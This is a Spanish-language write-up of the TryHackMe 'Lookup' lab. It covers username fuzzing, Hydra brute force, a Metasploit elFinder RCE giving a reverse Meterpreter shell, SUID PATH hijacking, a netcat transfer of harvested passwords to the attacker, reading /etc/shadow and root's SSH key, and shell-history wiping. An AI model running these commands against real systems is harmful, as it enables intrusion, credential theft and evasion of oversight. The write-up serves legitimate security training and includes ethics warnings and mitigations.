📰 Cybersecurity 101 - Challenge Lookup - (TryHackMe)
📝 Autor: Arnau Subirós 📅 Fecha: 4 de octubre de 2025 🔖 Nivel: Fácil / Introductorio Advertencia ética : > ⚠️ Este contenido es solo con fines educativos. No está permitido aplicar estas técnicas sin autorización expresa.
💡 TL;DR : Exploté una vulnerabilidad RCE en elFinder (CVE‑2019‑9194) con Metasploit para obtener una sesión Meterpreter como www-data, enumeré usuarios y servicios, y escalé a think y a root mediante PATH hijacking en un binario SUID y la extracción de una clave privada. Todo realizado en un laboratorio (TryHackMe). ⚠️ Solo para entornos autorizado
🛑 Nota sobre IPs y datos sensibles ⚠️
Nota sobre IPs: las IP mostradas son IP de sesión (pueden cambiar entre sesiones) y han sido redactadas en la versión pública por motivos de seguridad
Si en algún caso la IP fuera fija y pública, la omitiré por motivos de seguridad y cumplimiento, y reemplazaré por [REDACTED_IP] o [PRIVATE_KEY_REDACTED]
Índice de contenido (autoenlaces a secciones)
🔹1. Responder las 5 W
- What: RCE en elFinder (upload/exiftran)
- When: 2025-10-04 19:00 CEST
- Where: files.lookup.thm (resolviendo a la IP de sesión REDACTED_IP de la máquina Lookup)
- Who: www-data (webshell → meterpreter)
- Why: Prueba de laboratorio / explotación de vulnerabilidad conocida
🔹2. Entorno de trabajo
🖥️ 2.1 Máquina Atacante
- Maquina atacante
ATTACKBOX- IP : REDACTED_IP
🎯 2.2 Máquina Target
- Máquina víctima
lookup.thm- IP objetivo : REDACTED_IP
- Servicios detectados:
HTTP y SSH - Usuarios objetivo final:
thinkyroot
🔧 2.3 Versiones / salida de comandos
### Herramientas y versiones (ejemplos — reemplazar con tus salidas)
#- **Metasploit Framework:** `msfconsole --version`
`msf6 (Metasploit Framework 6.4.55-dev) `
# **ffuf:** `ffuf --version`
`ffuf v1.3.1`
# **Gobuster:** `gobuster --version`
`gobuster v3.6`
# **Hydra:** `hydra -V`
`Hydra v9.0`
# **Nmap:** `nmap --version`
`Nmap version 7.80`
# **Python:** `python3 --version`
`Python 3.8.10`
# **OpenSSH:** `ssh -V`
`OpenSSH_8.2p1 Ubuntu-4ubuntu0.11, OpenSSL 1.1.1f 31 Mar 2020`
# **Apache (si aplica):** `apache2ctl -v`
`Apache/2.4.41 (Ubuntu)`
# Sistema Attackbox ( atacante) :
Distributor ID: Ubuntu
Description: Ubuntu 20.04.6 LTS
Release: 20.04
Codename: focal
Linux REDACTED_IP 5.15.0-124-generic #134~20.04.1-Ubuntu SMP Tue Oct 1 15:27:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
Kernel: Linux 5.15.0-124-generic
Achitecture: x86-64
# Sistema Lookup ( victima)
Distributor ID: Ubuntu
Description: Ubuntu 20.04.6 LTS
Release: 20.04
Codename: focal
Linux REDACTED_IP 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
Kernel: Linux 5.15.0-139-generic
Architecture: x86-64
🔹3. Checklist de Tareas
📌3.1 ¿Qué tienes que hacer?
- Conectar a la red (OpenVPN o AttackBox).
- Levantar la máquina y obtener la IP.
- Escaneo de puertos y servicios (
nmap). - Enumeración de directorios /subdominios (
ffuf) - Usando Fuerza Bruta para obtener el password de
jose(Hydra). - Enumeración de subdominios oculto (
gobuster) - Acceso a elFinder (
elfinder.html) - Búsqueda de módulo
Metasploitpara elFinder - Ejecución de RCE ( Remote Code Execution)→ Meterpreter
- Exploración del sistema
- Escalada de privilegios mediante SUID (
pwm) al usuario Think - Escalada de privilegios -usuario root
🔹4. Descubrimiento y enumeración (resumen)
➤4.1 Escaneo inicial (nmap)
Hallazgo: Puertos 22/80 abiertos; versiones detectadas.
nmap -sV --script vuln REDACTED_IP # IP de sesión de Attackbox
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

➤4.2 DNS / acceso inicial
Hallazgo: lookup.thm no resolvía → añadido a /etc/hosts → web accesible.
nano /etc/ hosts
REDACTED_IP lookup.thm

4.3 Enumeración de usuarios (FFUF)
Hallazgo: Detección de usuarios válidos (admin, jose) usando diferencia en Content-Length.(74)
curl -i -s -d 'username=wronguser&password=x' -H 'Content-Type: application/x-www-form-urlencoded' http://lookup.thm/login.php | sed -n '1,10p'
ffuf -u http://lookup.thm/login.php -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'username=FUZZ&password=x' -w /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt:FUZZ -fs 74 -t 12 -p 0.05 -o ./ffuf_results.json

➤4.4 Usando Hydra ( Fuerza Bruta)
Hallazgo: Credencial válida obtenida para jose.
hydra -l jose -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong" -V
# Hydra: 1 objetivo completado, 1 contraseña válida encontrada (credenciales redacted).

➤4.5 Acceso a elfinder
Hallazgo: files.lookup.thm` → elFinder encontrado; archivos interesantes (credentials.txt, user.txt).
nano /etc/ hosts
REDACTED_IP lookup.thm , files.lookup.thm

➤4.5 Directorios (Gobuster)
Hallazgo: /elFinder y subdirectorios detectados.
gobuster dir -u http://files.lookup.thm/ -w /usr/share/wordlists/dirb/common.txt -t 50

🔹5. Explotación inicial (RCE)
Hallazgo: Explotación con módulo Metasploit (elfinder_php_connector_exiftran_cmd_injection) → Meterpreter (www-data).
msfupdate
msfconsole
msf6 > search elfinder
msf6 > use 4 # exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
set LHOST REDACTED_IP #(IP Attackbox - IP de sesion)
set LPORT 4444
set RHOST files.lookup.thm
set PAYLOAD php/meterpreter/reverse_tcp
set VERBOSE true
run
meterpreter > getuid
meterpreter > shell
python3 -c 'import pty; pty.spawn("/bin/bash")' 2>/dev/null || python -c 'import pty; pty.spawn("/bin/bash")' 2>/dev/null || true
www-data@:/var/www/files.lookup.thm/public_html/elFinder/php$



🔹 6.Post‑explotación y enumeración
Hallazgo: Acceso a filesystem; identificación del usuario objetivo think y descubrimiento de user.txt y SUID binaries presentes


🔹 7.Escalada de privilegios
➤7.1 PATH hijacking (think)
Hallazgo: SUID /usr/sbin/pwm explotado vía PATH hijacking → salida útil para enumerar credenciales.
# Crearemos un ID falso de think con otro UID y GUID en la carpeta /tmp/id
echo '#!/bin/bash' > /tmp/id
echo 'echo "uid=33(think) gid=33(think) groups=(think)"' >> /tmp/id
# accedimos a la carpeta /tmp y revisamos permisos
cd /tmp
ls -la
# leemos el archivo para confirmar
cat id
#Le damos permisos de ejecución y revisamos permisos
chmod +x /tmp/id
ls -la
# Alteramos la variable PATH para que primero busque en /tmp
export PATH=/tmp:$PATH
# Ejecutamos el binario SUID
/usr/sbin/pwm


#En la maquina atacante , abriremos otro terminal. Activaremos un Listener con netcar
nc -lnvp 9001 > pwm_list.txt
## puerto 9001
## pwm_lists.txt aun no existe ese archivo

# Ejecutar pwm y guardar la salida localmente en el archivo pwm_lists.txt
env -i PATH=/tmp:/usr/bin /usr/sbin/pwm 2>&1 | tee /tmp/pwm_list.txt

# Verificamos el archivo antes de enviarlo
head -n 200 /tmp/pwm_list.txtt

# Transferir el archivo desde la víctima al atacante
www-data@ip-10-10-173-83:/tmp$ nc 10.10.173.83 9001 < /tmp/pwm_list.txt
nc 10.10.XX.XXX 9001 < /tmp/pwm_list.txt ## IP sesion de Attackbox
# Hacemos un CTRL + C para cerrar la sesion del Listener y verificamos que se ha creado el archivo pwm_list.txt

# Transferir el archivo desde la víctima al atacante
www-data@ip-10-10-173-83:/tmp$ nc 10.10.173.83 9001 < /tmp/pwm_list.txt
nc 10.10.XX.XXX 9001 < /tmp/pwm_list.txt ## IP sesion de Attackbox
# Hacemos un CTRL + C para cerrar la sesion del Listener y verificamos que se ha creado el archivo pwm_list.txt

# Forzamos con Hydra la obteneción del password del usuario think usando el archivo pwm_list.txt
hydra -l think -P pwm_list.txt ssh://lookup.thm -t 4 -f -o hydra_results.txt
# Encontramos el password de think
# Accedimos via SSH con las credenciales obtenidas a lookup.thm
ssh think@lookup.thm
think~$
# Revisamos la carpeta personal
ls -la
## Leemos la información del archivo user.txt
cat user.txt
[REDACTED] # omitida por razones de seguridad



➤7.2 Escalada final a root
Hallazgo: : sudo /usr/bin/look ‘’ /root/.ssh/id_rsa expone clave privada (redactada) → SSH root.
sudo /usr/bin/look root /etc/shadow
# /etc/shadow — ejemplo y explicación (redactado)
root:$6$[REDACTED]:19855:0:99999:7:::

Creamos un archivo con la clave privada de root (REDACTED) — ejemplo ilustrativo, no contiene clave real
think:~$ cat > /tmp/id_rsa <<'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
.........REDACTED........
-----END OPENSSH PRIVATE KEY-----
EOF
think:~$
## Revismos los permisos del archivo creado /tmp/id_rsa
# damos permisos de ejecución y revisamos permisos
chmod 600 /tmp/id_rsa
ls -la

#Nos conectamos modo root via SSH
ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@1REDACTED_IP

whoami
ls -la
cat root.user.txt
[REDACTED] # omitida por razones de seguridad

🔹8 Limpieza y buenas prácticas (cleanup)
Acción: Eliminación de artefactos y limpieza de historial tras la sesión.
## Eliminación de artefactos temporales
rm -f /tmp/id /tmp/pwm_list.txt /tmp/*.log
history -c
# Intentar eliminar historiales de shell de la sesión
unset HISTFILE # evita que la sesión actual escriba en el archivo de historial
history -c # limpia el historial de la sesión actual
rm -f ~/.bash_history # elimina el archivo de historial (si procede)
⚖️ Advertencias importantes (ética / operativo)
- Este ejercicio se realizó únicamente en un entorno autorizado (TryHackMe). Borrar rastros en sistemas de terceros sin permiso es ilegal y antiético.
- No está permitido aplicar estas técnicas fuera de entornos de práctica controlados o sin el consentimiento explícito del propietario del sistema.
- No borrar ni modificar logs de sistema críticos o de terceros (p. ej.
/var/log/syslog,/var/log/auth.log). - Documentar siempre los pasos y aprendizajes sin incluir flags ni datos sensibles.
- Verificar que ningún archivo de sesión (
.bash_history,.ssh/,/tmp/) contenga credenciales o claves sin cifrar. - Recordar que
history -climpia solo la sesión actual, pero no garantiza eliminar todos los registros; por esounset HISTFILE+rm ~/.bash_historyes más completo — solo en entornos de laboratorio. - Mantener los logs y scripts personales únicamente en entornos locales o privados
🔹9 Mitigaciones aplicables alFinder (CVE-2019-9194)
- Actualizar elFinder ≥ 2.1.48
- Deshabilitar el conector PHP si no se usa
- Proteger el acceso con autenticación
- Revisar dependencias que invoquen
exiftran
🔹10 Lecciones aprendidas
- elFinder es un gestor de archivos web vulnerable a RCE y se pudo explotar su vulnerabilidad ya que no estaba actualizado.
- Meterpreter facilita la exploración y ejecución de comandos.
- Importancia de validar respuestas base antes de fuzzing.
- Detectar vhosts ocultos (
gobuster,ffuf) es clave. - Cómo un redirect HTTP puede revelar subdominios ocultos.
- El uso de PATH malicioso + binarios SUID es un método efectivo en laboratorios de escalada de privilegios.
- Es buena práctica redirigir la salida con
teeoncpara no perder información crítica. - La combinación de enumeración web, explotación y escalada SUID es un flujo clásico de Boot2Root.
- ⚠️ Recordatorio de limpiar artefactos tras la explotación
🔹11 Notas de seguridad
- Todas las IPs, llaves y credenciales han sido redactadas en esta versión pública.
- No phay que publicar claves privadas ni información que pueda comprometer a terceros.
- Si se comparten imágenes, asegúrate de que estén retocadas (blur/redact) para ocultar datos sensibles.
- Este material es solo para fines educativos y debe usarse únicamente en entornos autorizados
🔹12 Skills demostradas
- Herramientas: Metasploit, Meterpreter, nmap, ffuf, Hydra, Gobuster.
- Técnicas: SUID escalation, PATH hijacking, manejo de claves SSH, fuerza bruta web.
- Mapeo MITRE (ejemplos relacionados): TA0001 (Initial Access), TA0006 (Credential Access), TA0004 (Privilege Escalation), TA0008 (Lateral Movement).
